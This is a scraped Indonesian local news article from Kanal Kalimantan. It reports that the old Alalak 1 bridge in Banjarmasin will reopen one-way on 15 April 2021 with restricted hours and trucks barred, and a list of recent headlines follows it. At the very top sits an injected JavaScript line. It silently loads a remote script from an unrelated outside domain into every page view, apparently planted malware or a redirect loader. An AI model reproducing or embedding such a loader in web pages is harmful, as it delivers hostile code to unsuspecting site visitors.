(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jembatan Alalak 1 Dibuka Satu Arah, Truk Dilarang Melintas


KANALKALIMANTAN.COM, BANJARMASIN – Demi mengurai simpul macet di jalan Hasan Basry-Handil Bakti, Jalan Trans Kalimantan, akhirnya Jembatan Alalak 1, akhirnya akan segera dibuka.

Ahmad Junaidi, warga Handil Bakti mengharapkan, agar pembukaan Jembatan Alalak bisa lebih cepat dari yang direncanakan.

“Bagus lah dibuka, bisa lebih cepat lebih baik. Karena macet sudah sangat mengganggu kegiatan warga setiap harinya,” ujarnya.

Kepala Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan, Rusdiansyah memastikan dalam waktu dekat Jembatan Alalak 1 yang lama bakal dibuka agar bisa dilintasi kendaraan bermotor.

 

Baca juga: BREAKING NEWS. Pria Ditemukan Tak Bernyawa Tergeletak di Lantai

Rencana pembukaan Jembatan Alalak 1 itu menindaklanjuti kesepakatan bersama Komisi II DPRD Kalsel-Balai Besar Pelaksana Jalan Nasional (BBPJN) XI Kalimantan, serta Pemprov Kalsel dan pihak terkait pada Senin (15/3/2021). BBPJN XI Kalimantan meminta waktu untuk dibuka pada 15 April 2021 mendatang.

“Jadi, pada 15 April 2021 itu dibuka hanya diberlakukan satu arah dari arah Banjarmasin (Kayutangi Ujung) ke Handil Bakti (Jalan Trans Kalimantan). Tidak dua arah,” ucap Kepala Dishub Kalsel, Rusdiansyah, Jumat (26/3/2021).

Meski akan dibuka, kendaraan bermotor yang diperbolehkan melintas di Jembatan Alalak 1, hanya kendaraan pribadi, seperti taksi dan lainnya, bukan untuk angkutan barang.

Armada roda empat angkutan bertonase besar dilarang untuk melintas jembatan lama itu.

“Berdasar dari hasil rapat pihak Forum Lalu Lintas Angkutan Jalan (FLLAJ) Kota Banjarmasin dengan Balai Besar Pelaksanaan Jalan Nasional, didapat kesepakatan bahwa Jembatan Alalak 1 yang lama hanya bisa dilewati pukul 07.00-09.00 Wita. Sedangkan, pada waktu sore dari pukul 16.00- 19.00 Wita,” ucapnya.

Baca juga: Langgar Aturan PPKM dan Pengunjung Terpapar Covid-19, Kafe STBK di Banjarbaru Ditutup!

Jembatan Sungai Alalak II yang menghubungkan kawasan Terminal Handil Bakti dengan Jalan Cemara Raya-Jalan Tembus Perumnas, Banjarmasin justru kini dipergunakan untuk angkutan bermuatan berat seperti dumtruck pasir.

“Awalnya berdasar kesepakatan dan rekayasa lalu lintas hanya untuk kendaraan pribadi. Belakangan dump truk bisa melewati portal yang ada,” kata Rusdiansyah. (kanalkalimantan.com/bie)

Reporter : bie
Editor : kk


Al Ghifari

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

13 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

17 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

19 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

20 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

20 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

22 jam ago

This website uses cookies.